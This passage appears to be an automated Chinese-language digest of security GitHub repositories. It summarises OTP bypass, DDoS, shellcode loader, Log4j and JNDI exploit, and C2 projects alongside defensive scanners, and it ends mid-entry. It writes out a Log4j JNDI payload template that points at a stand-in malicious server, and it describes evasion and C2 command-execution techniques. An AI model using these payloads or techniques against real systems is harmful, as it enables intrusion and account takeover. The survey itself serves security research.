4	该工具可被用于渗透测试亦可被滥用，影响用户账户安全

🛠️ 技术细节

通过模拟或劫持Twilio短信传输，捕获或自动处理OTP验证码

利用平台在多地多渠道OTP验证中的漏洞，实现自动化验证绕过

安全影响包括彻底破坏基于OTP的二次认证，导致账户被远程控制

🎯 受影响组件

• 基于Twilio的短信OTP服务
• PayPal及其他支持OTP的在线账户系统
• Telegram、Discord等多平台2FA实现

⚡ 价值评估

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该仓库发布了具体的OTP绕过攻击工具和技术更新，直接针对高价值目标的2FA安全机制，具备较强的渗透测试和攻击价值，属于安全违规利用工具，满足高价值标准。

ReconAI - 基于AI的智能侦察与风险优先级分析工具

📌 仓库信息

属性	详情
仓库名称	ReconAI
风险等级	`MEDIUM`
安全类型	`安全工具`

📊 代码统计

分析提交数: 5
变更文件数: 16

💡 分析概述

ReconGPT结合传统侦察工具Bbot和GPT-4 AI分析，自动化收集和分析安全情报，提供风险评估、优先级排序和可行动建议，支持多种侦察风格及多格式输出，适用于渗透测试与安全研究。

🔍 关键发现

序号	发现内容
1	集成多种安全侦察工具（Bbot、Spiderfoot、自定义Google Dork）
2	利用GPT-4 AI进行侦察结果分析、风险评估与优先级排序
3	支持多种侦察策略（如隐匿、激进、钓鱼等风格）
4	高度相关于安全工具领域，专注于渗透测试和情报收集的核心功能

🛠️ 技术细节

通过自动化管道执行OSINT收集，结合Bbot进行信息探测，包括子域名枚举、DNS信息等

利用GPT-4分析扫描结果，识别敏感信息、潜在漏洞、高价值资产及异常行为

自定义Google Dork生成器，提高信息收集的精准性和深度

支持多种输出格式（文本、JSON、HTML、CSV）便于不同场景下的报告编写和后续分析

🎯 受影响组件

• OSINT收集工具Bbot
• AI分析模块（GPT-4集成）
• Google Dork生成模块
• 多格式情报报告生成系统

⚡ 价值评估

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该仓库核心功能基于安全工具关键词，聚焦网络安全侦察和情报分析，结合AI创新方法提升漏洞和安全风险发现的效率与质量，包含实质性代码实现和高质量技术内容，完全满足安全研究与渗透测试需求，非基础工具，且无重复或低质风险，具备较高的研究和实际应用价值。

Password-Cracker - 快速破解PDF和ZIP密码的渗透测试工具

📌 仓库信息

属性	详情
仓库名称	Password-Cracker
风险等级	`MEDIUM`
安全类型	`安全修复/安全研究`
更新类型	`SECURITY_IMPROVEMENT`

📊 代码统计

分析提交数: 1
变更文件数: 1

💡 分析概述

该仓库提供用于暴力破解PDF和ZIP文件密码的工具，旨在提升密码恢复和安全测试效率。

🔍 关键发现

序号	发现内容
1	提供PDF和ZIP文件的密码暴力破解功能
2	旨在实现高速密码破解
3	涉安全测试相关的密码破解技术
4	未涉及漏洞利用或安全防护升级

🛠️ 技术细节

利用暴力破解算法对PDF和ZIP文件进行密码尝试

实现暗示了高效的密码猜测流程以提升破解速度

未明确表明使用特定漏洞或漏洞利用技术

主要面向密码恢复和渗透测试中的密码评估环节

🎯 受影响组件

• PDF文件解析与密码解锁模块
• ZIP文件解析与密码解锁模块

⚡ 价值评估

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虽然该工具基于暴力破解，但在安全测试中具有一定的价值，特别是在密码评估和信息安全核查中。它涉及利用密码破解技术，这与安全漏洞利用和安全检测密切相关，满足价值判断标准。

DDoS - 高速安全的DDoS攻击模拟工具

📌 仓库信息

属性	详情
仓库名称	DDoS
风险等级	`MEDIUM`
安全类型	`安全功能`
更新类型	`SECURITY_IMPROVEMENT`

📊 代码统计

分析提交数: 1
变更文件数: 1

💡 分析概述

该仓库提供了一个用于模拟DDoS攻击的工具，最新更新提升了文档说明，强调通过TOR网络进行匿名攻击，并介绍了工具的性能特性，如异步HTTP请求、代理支持和实时指标监控，便于安全测试和网络韧性评估。

🔍 关键发现

序号	发现内容
1	工具主要用于模拟DDoS攻击，测试网络抗压能力
2	更新内容主要是README文档扩充，强调匿名攻击和性能特性
3	安全相关变更体现在提升工具使用的隐蔽性和效率，有助于安全测试
4	影响说明为安全研究和渗透测试中DDoS防御能力的评估工具

🛠️ 技术细节

采用aiohttp实现异步HTTP请求以提高并发性能

支持SOCKS5和HTTP代理，结合TOR实现匿名请求，增强攻击隐蔽性

实时监控请求速率和延迟分位数等指标，便于评估网络承载能力

该工具可用于模拟实际攻击场景，有助于识别和强化网络防御

🎯 受影响组件

• 网络安全测试环境
• 目标网络和服务器抗DDoS能力

⚡ 价值评估

展开查看详细评估

该更新虽以文档为主，但明确了工具的匿名攻击能力和性能特性，提升了DDoS攻击模拟的实用性和隐蔽性，满足安全工具类更新要求，对渗透测试和安全防护具有实际价值。

toolhive - 安全工具相关更新和自动化增强

📌 仓库信息

属性	详情
仓库名称	toolhive
风险等级	`MEDIUM`
安全类型	`安全修复/安全功能`
更新类型	`SECURITY_IMPROVEMENT`

📊 代码统计

分析提交数: 5
变更文件数: 19

💡 分析概述

此次更新主要围绕自动化部署、镜像管理、安全协议和环境适配进行优化，包含私有仓库支持、环境识别改善及安全工具集增强。

🔍 关键发现

序号	发现内容
1	优化私有OCI registries支持，包括认证和镜像管理
2	增强镜像拉取和存在性验证功能
3	改进环境识别机制，更好支持Kubernetes运行时
4	调整RBAC权限配置逻辑，减少误操作风险
5	更新仓库注册信息和资源数据，优化部署监控
6	改善自动部署脚本以支持更复杂的安全环境配置

🛠️ 技术细节

引入基于go-containerregistry的registry镜像管理，支持直接操作注册表或托管镜像

在docker客户端中增加PullImage方法，支持拉取指定镜像，并处理输出信息

通过环境变量判断Kubernetes环境，实现运行时环境自动识别

修改RBAC权限设置逻辑，确保权限配置的正确性，降低权限误用风险

优化密钥管理策略，支持从环境变量获取注册表凭证，提高安全性和灵活性

对部署相关的代码更新，确保容器服务账户、RBAC配置及时同步，避免权限冲突

🎯 受影响组件

• 镜像管理模块（支持私有仓库/OCI注册表）
• 环境检测逻辑（识别运行环境）
• 安全权限与RBAC配置（权限更新）
• 容器部署与调度逻辑（环境适配）
• 注册表及镜像验证机制（安全验证增强）

⚡ 价值评估

展开查看详细评估

本次更新加入了对私有注册表的支持、环境识别优化、镜像验证功能增强，以及RBAC权限逻辑调整，均直接关系到容器安全、部署自动化和环境兼容性，显著提升系统安全防护能力和运维效率。

ai-sast-dast-pipeline-ci-cd - 集成AI的CI/CD安全自动化扫描流水线

📌 仓库信息

属性	详情
仓库名称	ai-sast-dast-pipeline-ci-cd
风险等级	`HIGH`
安全类型	`安全工具`

📊 代码统计

分析提交数: 1
变更文件数: 1

💡 分析概述

该仓库构建了一个基于CI/CD的安全自动化项目，通过集成静态应用安全测试（SAST）、动态应用安全测试（DAST）和AI/NLP分类技术，实现对代码漏洞的早期检测与智能修复建议。项目利用Bandit和Semgrep进行多语言静态扫描，计划结合OWASP ZAP的动态扫描，以及基于AI的漏洞分类与严重性评估，旨在提升软件交付过程中的安全性和自动化水平。

🔍 关键发现

序号	发现内容
1	集成SAST和DAST实现自动化安全检测
2	结合AI/NLP技术进行漏洞分类和修复建议
3	项目基于Samsung PRISM 2025计划，具有前沿安全自动化研究价值
4	与AI Security关键词高度相关，核心功能体现AI赋能安全检测和响应

🛠️ 技术细节

技术方案包括GitHub Actions流程中嵌入Bandit和Semgrep完成多语言静态代码扫描，结合OWASP ZAP工具实现动态扫描

安全机制通过AI/NLP模型（包含关键词、正则表达式及大语言模型）对检测结果进行语义分类、严重性评级及智能修复引导，有效辅助安全开发生命周期左移

🎯 受影响组件

• 源代码静态扫描组件（Bandit、Semgrep）
• 动态扫描组件（OWASP ZAP）
• AI/NLP漏洞分类模块
• CI/CD流水线（GitHub Actions）
• 通知集成（Slack、MS Teams Webhook）

⚡ 价值评估

展开查看详细评估

该项目高度契合AI Security关键词，核心聚焦于利用AI技术提升安全测试自动化与智能化，涵盖丰富的安全检测技术实现和创新的AI漏洞分类应用，避免了仅有文档或基础工具的局限，具备清晰的安全研究与实践价值，符合高质量安全项目判断标准。

.github - 增强AI工作流安全合规的基础设施

📌 仓库信息

属性	详情
仓库名称	.github
风险等级	`MEDIUM`
安全类型	`安全功能`
更新类型	`SECURITY_IMPROVEMENT`

📊 代码统计

分析提交数: 1
变更文件数: 1

💡 分析概述

该仓库是Marvis Vault的GitHub配置，致力于打造安全、可审计和合规的AI工作流基础设施。最新更新主要扩展了README文档，详细介绍了项目功能、运行时脱敏、策略执行及审计日志等安全特性，并提供了快速入门指导，虽然未直接新增具体漏洞利用代码，但强化了安全基础设施说明。

🔍 关键发现

序号	发现内容
1	项目主打AI工作流的安全和合规管理
2	本次更新主要完善了项目文档，增强了安全功能的说明
3	涉及运行时脱敏、策略执行和审计等安全相关功能
4	提升了安全功能的易用性与透明度，对保障AI代理运行安全有积极作用

🛠️ 技术细节

项目提供CLI和SDK用于AI管道及代理工作流的安全运行时脱敏和策略执行

审计日志功能用于追踪安全事件，便于合规检查

文档更新使用户更易上手，减少配置和使用错误带来的安全风险

🎯 受影响组件

• AI工作流安全管理组件
• 运行时安全脱敏和策略执行模块
• 审计日志系统

⚡ 价值评估

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虽未新增漏洞利用代码，但更新强化了安全功能说明和使用指导，对提升AI工作流的安全合规管理具备建设性价值，属于安全功能性的重要完善。

AI-Security-Agent - 基于AI的自动化代码安全扫描与报告生成工具

📌 仓库信息

属性	详情
仓库名称	AI-Security-Agent
风险等级	`MEDIUM`
安全类型	`安全工具`

📊 代码统计

分析提交数: 3
变更文件数: 33

💡 分析概述

该仓库实现了一个名为CodiSkout的安全编排工具，利用AI（通过Langchain和自定义大模型接口）自动克隆GitHub仓库，扫描代码结构和暴露接口，识别潜在安全漏洞，并生成详细的安全报告。项目主体包含多个分工明确的AI Agent，支持交互式UI展示，体现了AI在安全自动化中的应用。

🔍 关键发现

序号	发现内容
1	实现了GitHub仓库自动克隆、代码结构分析和暴露端点检测
2	采用AI模型（包括Langchain、ChatGroq）进行安全漏洞自动识别
3	集成安全分析、代码质量审查及安全报告的完整流程
4	核心功能直接围绕AI安全（AI Security）展开，相关性高且应用场景明确

🛠️ 技术细节

通过多个模块化Agent协同工作：包括代码仓库克隆Agent、代码安全分析Agent、代码审查Agent和报告生成Agent；各Agent利用大语言模型执行相应任务

安全分析阶段使用预定义安全敏感文件、模式和漏洞识别提示（prompts）驱动AI模型自动检测漏洞与安全隐患

基于Streamlit框架实现交互UI，方便用户导入仓库URL一键触发扫描，查看详尽的安全与代码质量报告

系统设计注重流程编排和消息通信机制，保障多Agent间数据传递和任务协作的高效和可扩展性

🎯 受影响组件

• GitHub公共仓库代码
• 代码审计与安全检测模块
• AI模型集成与安全漏洞扫描核心业务系统
• 用户交互界面（Streamlit基于Web展示）

⚡ 价值评估

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仓库专注于利用AI技术实现安全漏洞自动检测和代码安全审计，紧密结合“AI Security”搜索关键词，核心模块均为安全研究范畴，具备系统性安全漏洞识别流程和实体代码实现，符合高质量安全工具标准；不含恶意IP列表维护、非废弃项目，代码结构清晰，创新性和实用性兼具，因此具有较高的研究和实战价值。

CannonLoader - 基于少见技术的shellcode加载器工具

📌 仓库信息

属性	详情
仓库名称	CannonLoader
风险等级	`HIGH`
安全类型	`漏洞利用框架/安全研究`

📊 代码统计

分析提交数: 2
变更文件数: 2

💡 分析概述

该仓库实现了通过罕见方法加载并执行shellcode，利用TimerQueueTimer API实现shellcode执行，展示了特殊的内存管理和执行技术，具有一定渗透测试和漏洞利用研究价值。

🔍 关键发现

序号	发现内容
1	核心功能为自定义shellcode加载与执行，采用不常用的加载技术。
2	使用TimerQueueTimer等API进行shellcode调度执行，涉及底层操作系统机制。
3	包含自定义的内存管理方案（如特殊section标记）和潜在的技术创新点。
4	与搜索关键词“shellcode Loader”高度相关，重点在于其特殊加载手法，为安全研究提供示范和参考。

🛠️ 技术细节

采用msfvenom生成特殊shellcode，经过加密与变形后通过自定义方法加载。

利用TimerQueueTimer API设置延时调用，实现shellcode的异步执行，避免简单的调用伪随机检测。

自定义内存复制逻辑（复杂版本的memcpy实现）以绕过简单签名检测，采用特殊section指定exec内存区。

采用预定义section实现无需调用虚拟内存分配API，实现静态存放和执行环境。

🎯 受影响组件

• Windows操作系统内核对象（Timer Queue、Section标记）
• Shellcode执行流程和记忆管理机制

⚡ 价值评估

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仓库展示了少见的shellcode加载技术，特别是利用TimerQueueTimer API和特殊section技术实现自定义执行环境，符合渗透测试与漏洞利用研究的高价值标准，内容丰富具有实践参考性。仓库核心内容核心技术内容丰富，且涉及底层系统调用及逆向工程难点。

CVE-2021-44228 - Log4j RCE漏洞测试项目

📌 漏洞信息

属性	详情
CVE编号	CVE-2021-44228
风险等级	`CRITICAL`
利用状态	`POC可用`
发布时间	2025-07-11 00:00:00
最后更新	2025-07-11 05:58:09

📦 相关仓库

log4j-CVE-2021-44228

💡 分析概述

该项目是一个用于演示和测试CVE-2021-44228 Log4j远程代码执行漏洞的PoC。该项目基于Maven构建，包含了一个简单的Java程序，该程序使用Log4j库，并在日志中打印一个包含JNDI注入的字符串，当log4j版本受影响时，将触发RCE漏洞。代码更新主要集中在项目的初始化和配置，包括引入了maven构建文件、IDE配置文件、.gitignore等文件，以及添加了marshalsec的jar包，用于辅助测试。漏洞利用方式：通过构造恶意的JNDI字符串，利用Log4j的lookup机制，从远程服务器加载恶意类文件，最终实现远程代码执行。

🔍 关键发现

序号	发现内容
1	演示了Log4j RCE漏洞的PoC
2	通过JNDI注入触发远程代码执行
3	包含maven配置文件和示例代码

🛠️ 技术细节

漏洞原理：Log4j 2.x 版本在处理日志消息时，支持使用JNDI lookup，攻击者可以构造恶意的日志消息，其中包含一个JNDI引用，指向一个恶意的LDAP或RMI服务器。当Log4j处理这条消息时，会尝试从指定的服务器加载并执行恶意代码，从而导致远程代码执行。

利用方法：攻击者构造一个包含${jndi:ldap://恶意服务器/恶意类}的字符串，将其作为日志输入。受影响的应用程序使用Log4j记录这条日志时，会尝试从恶意服务器加载恶意类文件并执行。

修复方案：升级Log4j到不受影响的版本（>=2.15.0）; 禁用JNDI lookup，或者限制其可访问的协议和服务器。

🎯 受影响组件

• Apache Log4j 2.x

⚡ 价值评估

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该项目提供了一个清晰的PoC，演示了CVE-2021-44228漏洞的利用方法，该漏洞影响广泛，且危害严重。

Yscan - Web安全扫描、POC管理工具

📌 仓库信息

属性	详情
仓库名称	Yscan
风险等级	`MEDIUM`
安全类型	`安全工具`
更新类型	`文档更新`

📊 代码统计

分析提交数: 1
变更文件数: 1

💡 分析概述

该仓库是一个名为Yscan的Web安全工具，集成了资产扫描、图形化的Nuclei POC管理、漏洞验证和数据整理功能。更新主要体现在README.md文件的修改，增加了图片展示工具界面，以及扫码体验/加入交流群的二维码。该工具的核心功能是帮助用户识别Web应用中的漏洞和安全风险，包括快速识别资产、管理POC、验证漏洞等。虽然该仓库提供的功能与“漏洞”关键词高度相关，但从目前的描述来看，不提供漏洞利用代码，而是专注于漏洞扫描和POC管理。因此，其价值主要在于辅助安全测试和漏洞分析，而不是直接的漏洞利用。

🔍 关键发现

序号	发现内容
1	Web资产扫描功能，用于识别目标资产与服务指纹。
2	图形化Nuclei POC管理，支持可视化编辑、导入、验证。
3	数据梳理功能，结构化展示扫描与验证结果。
4	与漏洞关键词高度相关，主要功能是漏洞扫描和POC管理。
5	提供界面截图和扫码入口，便于用户体验和交流。

🛠️ 技术细节

集成了Web扫描功能，用于识别目标资产和服务指纹。

使用Nuclei作为POC引擎，提供图形化界面进行POC管理。

提供数据结构化展示和整理功能，方便分析。

提供备忘录功能，记录测试思路和漏洞跟进情况。

🎯 受影响组件

• Web应用程序
• Nuclei (POC 引擎)

⚡ 价值评估

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Yscan与“漏洞”关键词高度相关，因为它提供了漏洞扫描、POC管理等功能，能够帮助安全研究人员进行漏洞挖掘和验证。虽然不直接提供漏洞利用代码，但其功能对安全研究和渗透测试具有辅助价值。同时，图形化界面和POC管理功能提高了使用效率。

MyJNDIExploit - JNDI/SpringBoot 漏洞利用工具

📌 仓库信息

属性	详情
仓库名称	MyJNDIExploit
风险等级	`HIGH`
安全类型	`漏洞利用/安全研究`
更新类型	`SECURITY_IMPROVEMENT`

📊 代码统计

分析提交数: 4
变更文件数: 26

💡 分析概述

该仓库是作者基于其他工具开发的JNDI注入利用工具的二开版本，主要用于熟悉安全工具开发。

本次更新增加了多个功能，包括：

增加了SpringBoot漏洞测试功能: 添加了/deser和/lookup的测试接口，允许用户测试反序列化漏洞和JNDI注入。
增加了SpringEcho功能: 在BasicController中增加了springecho的case，允许用户使用Spring Echo功能。
增加了使用class文件加载payload的功能: 允许用户通过-f参数指定.class文件作为payload

漏洞利用方法概述:

SpringBoot反序列化漏洞利用：用户可以使用/deser接口，通过Base64编码的payload来触发反序列化。
JNDI注入测试：用户可以使用/lookup接口来测试JNDI注入。
Spring Echo利用：通过springecho的功能，结合请求参数来执行命令。

🔍 关键发现

序号	发现内容
1	增加了SpringBoot反序列化和JNDI注入测试功能
2	增加了Spring Echo功能，提高了命令执行的灵活性
3	新增了通过class文件加载payload的功能

🛠️ 技术细节

增加了VulController类，定义了/deser接口，用于测试反序列化漏洞。该接口接收Base64编码的payload并进行反序列化。

在BasicController的process方法中，增加了springecho的case，可以根据参数来执行命令。

修改了PayloadGenerator，支持通过-f参数指定.class文件作为payload。通过ClassFileTemplates将.class文件加载为Templates，用于生成payload。

🎯 受影响组件

• SpringBoot
• JNDI

⚡ 价值评估

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该更新增加了SpringBoot反序列化漏洞利用和JNDI注入测试功能，以及Spring Echo功能，使得该工具在安全测试和漏洞利用方面更具价值。

cmf - Web应用客户端消息安全分析工具

📌 仓库信息

属性	详情
仓库名称	cmf
风险等级	`HIGH`
安全类型	`安全功能`
更新类型	`SECURITY_IMPROVEMENT`

📊 代码统计

分析提交数: 4
变更文件数: 7

💡 分析概述

该仓库是一个静态分析工具，用于检测Web应用程序客户端JavaScript消息事件监听器中的漏洞，重点关注postMessage API安全、iframe通信漏洞、跨源消息攻击以及通过消息处理的XSS。本次更新增加了AST解析器和消息提取器，用于更精确地分析JavaScript代码中的消息处理逻辑。具体来说，src/core/astParser.js 实现了对JavaScript代码的AST解析，src/core/messageExtractor.js 则利用AST解析结果提取消息处理函数，例如window.addEventListener。src/core/fileProcessor.js被更新以使用AST和消息提取器，以提升分析精度。此外，仓库还添加了CLI接口和文件处理工具。通过AST解析和消息提取，CMF能够更准确地识别潜在的安全问题。这对于发现客户端XSS漏洞，以及不安全的消息传递机制至关重要。

🔍 关键发现

序号	发现内容
1	CMF是一个静态分析工具，用于检测Web应用程序客户端JavaScript消息事件监听器中的漏洞。
2	更新引入了AST解析器和消息提取器，以提高分析精度。
3	通过分析`window.addEventListener`等消息处理函数，CMF能够发现潜在的安全问题
4	增加了CLI命令行工具，方便用户使用

🛠️ 技术细节

使用了@babel/parser库进行AST解析，可以支持JSX, TypeScript等多种JS代码。

MessageExtractor.extractMessageHandlers方法遍历AST，查找window.addEventListener调用。

FileProcessor类被修改，使用ASTParser和MessageExtractor来处理JS文件。

包含了CLI命令行工具，用于扫描目录并处理文件。

🎯 受影响组件

• Web应用程序的JavaScript代码
• CMF核心分析逻辑

⚡ 价值评估

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本次更新引入了AST解析和消息提取，改进了对JavaScript代码中消息处理逻辑的分析能力，提高了漏洞检测的准确性。对于安全研究人员来说，这是一个有价值的功能增强。

cyber-security- - 收集多种安全工具的使用

📌 仓库信息

属性	详情
仓库名称	cyber-security-
风险等级	`LOW`
安全类型	`安全研究`
更新类型	`GENERAL_UPDATE`

📊 代码统计

分析提交数: 5
变更文件数: 5

💡 分析概述

该仓库似乎是一个为安全教育目的而创建的工具集合，包含了多个安全工具的使用指南。它添加了关于Nikto、WPScan、WhatWeb、tcpdump和Bettercap等工具的'use.txt'文件。这些文件提供了安装、基本用法、常见选项和示例。由于提供了多个渗透测试工具的用法，这对于学习网络安全的人员来说是有价值的。

🔍 关键发现

序号	发现内容
1	包含了Nikto、WPScan、WhatWeb、tcpdump和Bettercap的使用指南
2	提供了安装、基本用法和常见选项的示例
3	适合网络安全学习和教育
4	主要内容是工具的使用方法，没有实际的漏洞利用代码或安全防护措施

🛠️ 技术细节

Nikto: 提供基本的web服务器扫描，包括HTTPS扫描、端口扫描，并支持将输出保存到文件。

WPScan: 提供了WordPress站点扫描，用户枚举，插件枚举，以及暴力破解登录（需授权）

WhatWeb: 网站指纹识别工具，包括基本的扫描，详细输出，多网站扫描，以及代理支持

tcpdump: 数据包捕获工具，提供了基本语法和使用示例，如指定接口捕获、保存到文件、过滤特定协议等。

Bettercap: 中间人攻击框架，提供了ARP欺骗设置、流量嗅探等攻击手段。

🎯 受影响组件

• Nikto
• WPScan
• WhatWeb
• tcpdump
• Bettercap
• WordPress

⚡ 价值评估

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虽然更新内容主要为工具的使用指南，但这些工具都是渗透测试和安全评估中常用的工具，对于安全研究人员和学习者有参考价值。

linuxsecurity.in - Linux安全研究博客,聚焦Microsoft Teams取证

📌 仓库信息

属性	详情
仓库名称	linuxsecurity.in
风险等级	`LOW`
安全类型	`安全研究`
更新类型	`内容更新`

📊 代码统计

分析提交数: 5
变更文件数: 10

💡 分析概述

该仓库是一个博客，主要分享关于Linux安全和Microsoft Teams取证相关的研究和经验。仓库主要包含博文和网站配置。本次更新主要修改了博客文章，添加了关于Microsoft Teams for Linux取证的内容。由于仓库内容偏向于分享安全研究经验和技术，对于安全从业人员有一定的参考价值。没有发现漏洞利用相关内容，但提供了对Microsoft Teams的取证思路和方法，可用于安全事件分析。虽然内容主要为文档，但涉及了特定场景下的安全分析，具有一定的研究价值。

🔍 关键发现

序号	发现内容
1	分享Linux安全和Microsoft Teams取证相关经验
2	提供了Microsoft Teams for Linux的取证分析思路
3	博客形式，分享安全研究和实践经验
4	与'security tool'关键词相关性一般，因为侧重研究而非工具。

🛠️ 技术细节

主要技术细节体现在博文内容，分享了Microsoft Teams for Linux取证方法和经验。

网站基于Jekyll构建，静态网站，没有直接的安全风险。

🎯 受影响组件

• Microsoft Teams for Linux
• Linux系统

⚡ 价值评估

展开查看详细评估

该仓库虽然主要内容为博客文章，但分享了关于Linux安全和Microsoft Teams取证的实际经验和研究。虽然不是直接的安全工具，但提供了有价值的取证思路和方法，有助于安全研究和事件分析。与'security tool'关键词有一定关联，因为涉及了安全工具的使用和安全分析。

GoBypass403 - 403 Bypass工具，测试Web安全

📌 仓库信息

属性	详情
仓库名称	GoBypass403
风险等级	`LOW`
安全类型	`安全功能`
更新类型	`GENERAL_UPDATE`

📊 代码统计

分析提交数: 1
变更文件数: 2

💡 分析概述

GoBypass403是一个用于绕过403 Forbidden错误的工具，帮助安全专业人员测试Web应用程序的安全性。该仓库的主要功能是协助进行渗透测试，简化漏洞识别过程，从而增强Web安全。本次更新移除了CI构建流程的配置文件 go.yml，并更新了README.md文档，包含了关于工具的介绍，安装，使用方法，绕过技术和示例等。虽然本次更新未直接涉及代码层面的漏洞利用或修复，但其提供的工具本身专注于绕过403错误，属于渗透测试范畴，具有一定的安全研究价值。

🔍 关键发现

序号	发现内容
1	GoBypass403是一个用于绕过403错误的工具。
2	该工具旨在协助Web应用程序渗透测试。
3	更新移除了构建流程配置文件go.yml。
4	README.md文档更新，提供了工具的详细信息。

🛠️ 技术细节

移除了.github/workflows/go.yml文件，该文件用于定义Go项目的构建、测试和部署工作流程。

README.md文档的更新包括关于工具的介绍、安装、用法、绕过技术和示例等。

🎯 受影响组件

• GoBypass403工具

⚡ 价值评估

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虽然本次更新未直接涉及代码漏洞的利用或修复，但该工具本身的功能是绕过403 Forbidden错误，这与Web应用程序的安全性直接相关，能够帮助安全研究人员进行渗透测试，具有安全研究价值。

Wallet-Security-Analyzer - 钱包安全分析工具

📌 仓库信息

属性	详情
仓库名称	Wallet-Security-Analyzer
风险等级	`LOW`
安全类型	`安全研究`
更新类型	`GENERAL_UPDATE`

📊 代码统计

分析提交数: 1
变更文件数: 1

💡 分析概述

该仓库是一个钱包安全分析工具，旨在帮助用户评估加密货币钱包的安全性。该工具扫描漏洞并提供建议，以增强针对潜在威胁的保护。这次更新修改了README.md文件，增加了项目介绍、功能、安装、使用、贡献、许可证、联系方式和版本发布等内容。虽然更新没有直接涉及代码层面的安全漏洞或修复，但是增加了安全相关的介绍和最佳实践，帮助用户更好的理解钱包安全。考虑到它是一个安全工具，且面向的是钱包安全领域，所以这次更新属于信息和文档的完善，有助于提升用户对钱包安全的认知和防护意识。

🔍 关键发现

序号	发现内容
1	钱包安全分析工具
2	提供钱包安全评估
3	README.md文件更新
4	增强安全知识的介绍

🛠️ 技术细节

更新了README.md，添加了项目介绍、功能、安装、使用、贡献、许可证、联系方式和版本发布等内容。

修改了README.md文件的格式和内容，更清晰地描述了工具的功能和目标。

🎯 受影响组件

• 用户
• 钱包安全分析工具

⚡ 价值评估

展开查看详细评估

虽然此次更新主要集中在文档的完善上，但对于一个安全工具来说，清晰的项目介绍和安全知识的普及能够帮助用户更好地使用工具并理解钱包安全的重要性，从而间接提升安全性。因此，本次更新具有一定的价值。

c2-panel-malware-education - C2 Panel for Malware Education

📌 仓库信息

属性	详情
仓库名称	c2-panel-malware-education
风险等级	`LOW`
安全类型	`安全工具`
更新类型	`文档更新`

📊 代码统计

分析提交数: 1
变更文件数: 1

💡 分析概述

该仓库是一个C2面板项目，主要用于红队攻防和恶意软件教育。它基于Python和Flask构建，包含代理监控、键盘记录、HTTP流量分析、域名验证等功能。更新主要是对README.md的修改，对项目进行整体介绍，包括功能、安装、使用方法、贡献指南、许可证和联系方式。虽然没有直接的漏洞利用代码，但其C2的功能与渗透测试高度相关，并且提供了安全教育的价值，对安全研究人员有一定参考价值。

🔍 关键发现

序号	发现内容
1	C2面板提供代理监控，键盘记录，HTTP流量分析，域名验证等功能。
2	使用Python和Flask构建，便于理解和修改
3	主要用于安全教育和红队攻防。
4	与关键词'c2'高度相关。

🛠️ 技术细节

C2面板基于Flask框架，用Python编写。

Agent端支持Linux和Windows，用于收集关键信息。

包含HTTP/HTTPS流量监控和域名验证。

🎯 受影响组件

• Flask
• Python
• Linux/Windows Agent

⚡ 价值评估

展开查看详细评估

该仓库实现了一个C2面板，与搜索关键词'c2'高度相关。虽然更新未涉及实质性的代码变更，但项目本身提供了用于安全教育和红队攻防的功能，具有一定的研究价值。

Jean_Rosario_PM_2025_C2 - C2框架，用于远程控制

📌 仓库信息

属性	详情
仓库名称	Jean_Rosario_PM_2025_C2
风险等级	`HIGH`
安全类型	`漏洞利用`
更新类型	`SECURITY_CRITICAL`

📊 代码统计

分析提交数: 1

💡 分析概述

该仓库是一个C2框架，用于远程控制和管理受感染的系统。本次更新添加了新的C2功能，可能涉及隐蔽通信和命令执行。由于缺乏更详细的更新信息，无法具体分析其安全影响。

🔍 关键发现

序号	发现内容
1	C2框架，实现远程控制
2	新增C2相关功能
3	可能涉及隐蔽通信和命令执行
4	依赖于受控端的实现和配置

🛠️ 技术细节

C2框架通常涉及服务器端和客户端组件，服务器端用于管理受感染的系统，客户端运行在受控端

更新可能包含了新的命令、通信协议或隐藏技术，用于绕过安全检测

潜在的漏洞可能存在于命令处理、数据传输或身份验证等环节

🎯 受影响组件

• C2服务端
• C2客户端
• 受感染的系统

⚡ 价值评估

展开查看详细评估

C2框架本身具有较高的安全风险，任何更新都可能涉及到新的攻击向量或防御绕过手段。此更新添加了新的C2功能，值得关注。

Real-Time-C2-Beacon-and-Payload-Threat-Detector - C2 Beacon/Payload检测与阻断

📌 仓库信息

属性	详情
仓库名称	Real-Time-C2-Beacon-and-Payload-Threat-Detector
风险等级	`HIGH`
安全类型	`安全工具`
更新类型	`新增文件`

📊 代码统计

分析提交数: 2
变更文件数: 2

💡 分析概述

该仓库是一个实时C2信标和有效载荷威胁检测器，主要功能是检测C2信标、Base64编码的payload、反向shell、可疑User-Agent，以及针对已知C2端口的流量。它使用Scapy嗅探TCP流量，通过正则表达式分析payload，检查GeoIP/ISP信息，并可以自动使用iptables阻止IP。它使用notify-send发送实时警报。该仓库的核心功能围绕C2通信的检测和防御展开，这与给定的搜索关键词“c2”高度相关。更新内容增加了C2.py文件，实现了C2威胁检测的核心逻辑，包括网络流量的嗅探、payload分析、IP地址的地理位置和ISP信息查询，以及自动封禁恶意IP。

🔍 关键发现

序号	发现内容
1	实时C2信标和有效载荷检测
2	使用Scapy进行流量嗅探和payload分析
3	GeoIP/ISP信息查询
4	自动IP封禁
5	与C2相关的核心功能

🛠️ 技术细节

使用Scapy库捕获网络数据包。

使用正则表达式匹配payload中的恶意模式。

调用外部API获取IP地理位置和ISP信息。

使用iptables进行IP封锁。

通过notify-send发送警报。

🎯 受影响组件

• 网络设备
• Linux系统 (iptables)

⚡ 价值评估

展开查看详细评估

该仓库专注于C2信标和有效载荷的检测与防御，与搜索关键词“c2”高度相关。它提供了实时检测、分析和阻断C2流量的功能，具有较高的安全研究价值。其功能直接针对C2攻击，属于安全研究范畴。

C2_agent - C2 Agent: Command Execution

📌 仓库信息

属性	详情
仓库名称	C2_agent
风险等级	`HIGH`
安全类型	`漏洞利用/安全研究`
更新类型	`SECURITY_CRITICAL`

📊 代码统计

分析提交数: 5
变更文件数: 3

💡 分析概述

The repository appears to implement a C2 (Command and Control) agent in Go. The agent connects to a server, receives commands, executes them, and reports back the results. The recent updates involve significant changes to the agent's communication protocol, switching from a simple socket-based connection to an HTTP-based SSE (Server-Sent Events) mechanism for receiving commands and sending results. The most recent update introduces a new agent.go file that establishes an HTTP connection to receive commands and submit results, including handling self-signed certificates and execution of OS commands based on received instructions. The previous versions used a simple TCP connection and shell commands.

🔍 关键发现

序号	发现内容
1	Implements a C2 agent capable of receiving and executing commands.
2	Uses HTTP SSE for command and control communication, which may bypass certain network restrictions.
3	Handles self-signed certificates, allowing for potentially insecure connections.
4	Executes commands received from the C2 server, posing a risk of arbitrary code execution.

🛠️ 技术细节

The new agent.go establishes a secure connection using TLS (with option to skip verification).

It uses SSE to receive commands. Commands are received from a specific URL, and results are sent to another URL.

The agent executes commands using the exec.Command function, making it vulnerable to command injection if input from the C2 server is not sanitized.

